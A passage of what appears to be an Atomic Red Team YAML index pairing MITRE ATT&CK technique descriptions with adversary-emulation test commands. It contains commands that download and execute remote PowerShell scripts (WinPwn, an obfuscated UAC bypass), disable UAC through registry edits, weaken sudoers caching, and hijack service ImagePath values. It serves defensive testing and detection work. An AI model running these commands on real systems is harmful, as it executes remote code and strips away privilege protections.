          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanup
        name: powershell
    - name: WinPwn - UAC Bypass DccwBypassUAC technique
      auto_generated_guid: 2b61977b-ae2d-4ae4-89cb-5c36c89586be
      description: UAC Bypass DccwBypassUAC technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')
        name: powershell
    - name: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry
        key
      auto_generated_guid: 251c5936-569f-42f4-9ac2-87a173b9e9b8
      description: "Disable User Account Conrol (UAC) for admin by setting the registry
        key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin
        to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/),
        \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit),
        \n[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)\n"
      supported_platforms:
      - windows
      executor:
        command: |-
          $orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin
          Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force
        cleanup_command: 'Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force

          '
        name: powershell
        elevation_required: true
    - name: UAC Bypass with WSReset Registry Modification
      auto_generated_guid: 3b96673f-9c92-40f1-8a3e-ca060846f8d9
      description: "The following UAC bypass is focused on a registry key under \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\"
        that will trigger a command once wsreset.exe runs. \nThis bypass is limited
        to Windows 10 1803/1809 and may not run on Server platforms. The registry
        mod is where interest will be.\nIf successful, the command to run will spawn
        off wsreset.exe. \n[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)\n"
      supported_platforms:
      - windows
      input_arguments:
        commandpath:
          description: Registry path
          type: string
          default: HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command
        commandtorun:
          description: Command to run
          type: string
          default: C:\Windows\System32\cmd.exe /c start cmd.exe
      executor:
        command: |-
          New-Item #{commandpath} -Force | Out-Null
          New-ItemProperty -Path #{commandpath} -Name "DelegateExecute" -Value "" -Force | Out-Null
          Set-ItemProperty -Path #{commandpath} -Name "(default)" -Value "#{commandtorun}" -Force -ErrorAction SilentlyContinue | Out-Null
          $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
        cleanup_command: 'Remove-Item #{commandpath} -Recurse -Force

          '
        name: powershell
    - name: Disable UAC - Switch to the secure desktop when prompting for elevation
        via registry key
      auto_generated_guid: 85f3a526-4cfa-4fe7-98c1-dea99be025c7
      description: "User Account Control (UAC) is a security mechanism for limiting
        the elevation of privileges, including administrative accounts, unless authorized.
        \nThis setting ensures that the elevation prompt is only used in secure desktop
        mode.\nDisable User Account Conrol (UAC) for secure desktop by setting the
        registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop
        to 0.\n"
      supported_platforms:
      - windows
      executor:
        command: Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force
        cleanup_command: 'Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force

          '
        name: powershell
        elevation_required: true
    - name: Disable UAC notification via registry keys
      auto_generated_guid: 160a7c77-b00e-4111-9e45-7c2a44eda3fd
      description: 'This atomic regarding UACDisableNotify pertains to the notification
        behavior of UAC. UAC is a critical security feature in Windows that prevents
        unauthorized changes to the operating system. It prompts the user for permission
        or an administrator password before allowing actions that could affect the
        system''s operation or change settings that affect other users. The BlotchyQuasar
        RAT defense evasion activities that the adversary to disable UAC notifications
        makes it easier for malware and malicious software to execute with elevated
        privileges. [Article](https://securityintelligence.com/x-force/x-force-hive0129-targeting-financial-institutions-latam-banking-trojan/)

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify
          /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify
          /t REG_DWORD /d 0 /f

          '
        name: command_prompt
    - name: Disable ConsentPromptBehaviorAdmin via registry keys
      auto_generated_guid: a768aaa2-2442-475c-8990-69cf33af0f4e
      description: 'This atomic regarding setting ConsentPromptBehaviorAdmin to 0
        configures the UAC so that it does not prompt for consent or credentials when
        actions requiring elevated privileges are performed by users in the administrators
        group. This means that any operation that would normally trigger a UAC prompt
        will proceed automatically without user interaction.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
          /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
          /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f

          '
        name: command_prompt
  T1548.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0
      type: attack-pattern
      created: '2020-01-30T14:34:44.992Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1548.003
        url: https://attack.mitre.org/techniques/T1548/003
      - url: https://www.sudo.ws/
        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
        source_name: sudo man page 2018
      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
        source_name: OSX.Dok Malware
      - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
        description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
          Does. Retrieved March 19, 2018.
        source_name: cybereason osx proton
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Abuse Elevation Control Mechanism: Sudo and Sudo Caching'
      description: |-
        Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

        Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

        The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.

        Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

        In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: On Linux, auditd can alert every time a user's actual ID
        and effective ID are different (this is what happens when you sudo). This
        technique is abusing normal functionality in macOS and Linux systems, but
        sudo has the ability to log all input and output based on the <code>LOG_INPUT</code>
        and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      x_mitre_permissions_required:
      - User
      x_mitre_effective_permissions:
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1548.003
    atomic_tests:
    - name: Sudo usage
      auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e
      description: 'Common Sudo enumeration methods.

        '
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: "sudo -l      \nsudo cat /etc/sudoers\nsudo vim /etc/sudoers\n"
    - name: Sudo usage (freebsd)
      auto_generated_guid: 2bf9a018-4664-438a-b435-cc6f8c6f71b1
      description: 'Common Sudo enumeration methods.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if sudo is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y sudo)\n"
      executor:
        name: sh
        elevation_required: true
        command: "sudo -l      \nsudo cat /usr/local/etc/sudoers\nsudo ee /usr/local/etc/sudoers\n"
    - name: Unlimited sudo cache timeout
      auto_generated_guid: a7b17659-dd5e-46f7-b7d1-e6792c91d0bc
      description: 'Sets sudo caching timestamp_timeout to a value for unlimited.
        This is dangerous to modify without using ''visudo'', do not do this on a
        production system.

        '
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
          sudo visudo -c -f /etc/sudoers
    - name: Unlimited sudo cache timeout (freebsd)
      auto_generated_guid: a83ad6e8-6f24-4d7f-8f44-75f8ab742991
      description: 'Sets sudo caching timestamp_timeout to a value for unlimited.
        This is dangerous to modify without using ''visudo'', do not do this on a
        production system.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if sudo is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y sudo)\n"
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers
          sudo visudo -c -f /usr/local/etc/sudoers
    - name: Disable tty_tickets for sudo caching
      auto_generated_guid: 91a60b03-fb75-4d24-a42e-2eb8956e8de1
      description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous
        to modify without using ''visudo'', do not do this on a production system.

        '
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers"
          sudo visudo -c -f /etc/sudoers
    - name: Disable tty_tickets for sudo caching (freebsd)
      auto_generated_guid: 4df6a0fe-2bdd-4be8-8618-a6a19654a57a
      description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous
        to modify without using ''visudo'', do not do this on a production system.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if sudo is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y sudo)\n"
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers"
          sudo visudo -c -f /usr/local/etc/sudoers
  T1578:
    technique:
      modified: '2023-09-05T20:45:22.041Z'
      name: Modify Cloud Compute Infrastructure
      description: |-
        An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

        Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: Establish centralized logging for the activity of cloud compute
        infrastructure components. Monitor for suspicious sequences of events, such
        as the creation of multiple snapshots within a short period of time or the
        mount of a snapshot to a new instance by a new or unexpected user. To reduce
        false positives, valid change management procedures could introduce a known
        identifier that is logged with the change (e.g., tag or header) if supported
        by the cloud provider, to help distinguish valid, expected actions from malicious
        ones.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - IaaS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Instance: Instance Metadata'
      - 'Instance: Instance Stop'
      - 'Snapshot: Snapshot Creation'
      - 'Volume: Volume Modification'
      - 'Instance: Instance Modification'
      - 'Instance: Instance Creation'
      - 'Volume: Volume Metadata'
      - 'Instance: Instance Start'
      - 'Cloud Service: Cloud Service Metadata'
      - 'Volume: Volume Creation'
      - 'Snapshot: Snapshot Modification'
      - 'Snapshot: Snapshot Metadata'
      - 'Volume: Volume Deletion'
      - 'Snapshot: Snapshot Deletion'
      - 'Instance: Instance Deletion'
      type: attack-pattern
      id: attack-pattern--144e007b-e638-431d-a894-45d90c54ab90
      created: '2019-08-30T18:03:05.864Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1578
        external_id: T1578
      - source_name: Mandiant M-Trends 2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1542.001:
    technique:
      modified: '2024-04-16T12:21:51.311Z'
      name: 'Pre-OS Boot: System Firmware'
      description: |-
        Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)

        System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Jean-Ian Boutin, ESET
      - McAfee
      - Ryan Becwar
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.

        Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      x_mitre_defense_bypassed:
      - Host intrusion prevention systems
      - Anti-virus
      - File monitoring
      type: attack-pattern
      id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada
      created: '2019-12-19T19:43:34.507Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1542/001
        external_id: T1542.001
      - source_name: McAfee CHIPSEC Blog
        description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against
          Vault 7 Disclosure Scanning. Retrieved March 13, 2017.
        url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
      - source_name: MITRE Copernicus
        description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions
          about BIOS Security. Retrieved December 11, 2015.'
        url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
      - source_name: Intel HackingTeam UEFI Rootkit
        description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details.
          Retrieved March 20, 2017.
        url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
      - source_name: Github CHIPSEC
        description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment
          Framework. Retrieved March 20, 2017.
        url: https://github.com/chipsec/chipsec
      - source_name: About UEFI
        description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.
        url: http://www.uefi.org/about
      - source_name: MITRE Trustworthy Firmware Measurement
        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
          Firmware Security Research. Retrieved January 5, 2016.
        url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
      - source_name: Wikipedia UEFI
        description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface.
          Retrieved July 11, 2017.
        url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
      - source_name: Wikipedia BIOS
        description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.
        url: https://en.wikipedia.org/wiki/BIOS
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1542.001
    atomic_tests:
    - name: UEFI Persistence via Wpbbin.exe File Creation
      auto_generated_guid: b8a49f03-e3c4-40f2-b7bb-9e8f8fdddbf1
      description: |
        Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms.
        - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c
        - http://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx
        - https://github.com/tandasat/WPBT-Builder
      supported_platforms:
      - windows
      executor:
        name: powershell
        command: "echo \"Creating %systemroot%\\wpbbin.exe\"      \nNew-Item -ItemType
          File -Path \"$env:SystemRoot\\System32\\wpbbin.exe\"\n"
        cleanup_command: "echo \"Removing %systemroot%\\wpbbin.exe\" \nRemove-Item
          -Path \"$env:SystemRoot\\System32\\wpbbin.exe\"\n"
        elevation_required: true
  T1574.011:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: 'Hijack Execution Flow: Services Registry Permissions Weakness'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

        If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

        Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

        The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

        Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Matthew Demaske, Adaptforward
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

        Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Service: Service Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application Control
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
      created: '2020-03-13T11:42:14.444Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/011
        external_id: T1574.011
      - source_name: Tweet Registry Perms Weakness
        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
          April 9, 2018."
        url: https://twitter.com/r0wdy_/status/936365549553991680
      - source_name: insecure_reg_perms
        description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service
          Insecure Registry Permissions EoP. Retrieved August 25, 2021.
        url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
      - source_name: Kansa Service related collectors
        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
          analysis. Retrieved October 10, 2019.'
        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
      - source_name: malware_hides_service
        description: Lawrence Abrams. (2004, September 10). How Malware hides and
          is installed as a Service. Retrieved August 30, 2021.
        url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/
      - source_name: Autoruns for Windows
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
      - source_name: Registry Key Security
        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
          Retrieved March 16, 2017.
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
      - source_name: microsoft_services_registry_tree
        description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved August 25, 2021.
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
      - source_name: troj_zegost
        description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September
          2, 2021.
        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.011
    atomic_tests:
    - name: Service Registry Permissions Weakness
      auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a
      description: |
        Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "C:\temp\AtomicRedteam.exe"
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service check
          type: string
          default: weakservicename
      executor:
        command: |
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
        name: powershell
    - name: Service ImagePath Change with reg.exe
      auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827
      description: 'Change Service registry ImagePath of a bengin service to a malicious
        file

        '
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service name
          type: string
          default: calcservice
        weak_service_path:
          description: weak service path
          type: string
          default: "%windir%\\system32\\win32calc.exe"
        malicious_service_path:
          description: malicious service path
          type: string
          default: "%windir%\\system32\\cmd.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The service must exist (#{weak_service_name})

          '
        prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit
          1}

          '
        get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}"

          '
      executor:
        command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"
          /f /v ImagePath /d "#{malicious_service_path}"

          '
        cleanup_command: 'sc.exe delete #{weak_service_name}

          '
        name: command_prompt
  T1542.003:
    technique:
      modified: '2023-03-30T21:01:47.417Z'
      name: Bootkit
      description: |-
        Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

        A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

        The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Perform integrity checking on MBR and VBR. Take snapshots
        of MBR and VBR and compare against known good samples. Report changes to MBR
        and VBR as they occur for indicators of suspicious activity and further analysis.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      x_mitre_defense_bypassed:
      - Host intrusion prevention systems
      - Anti-virus
      - File monitoring
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba
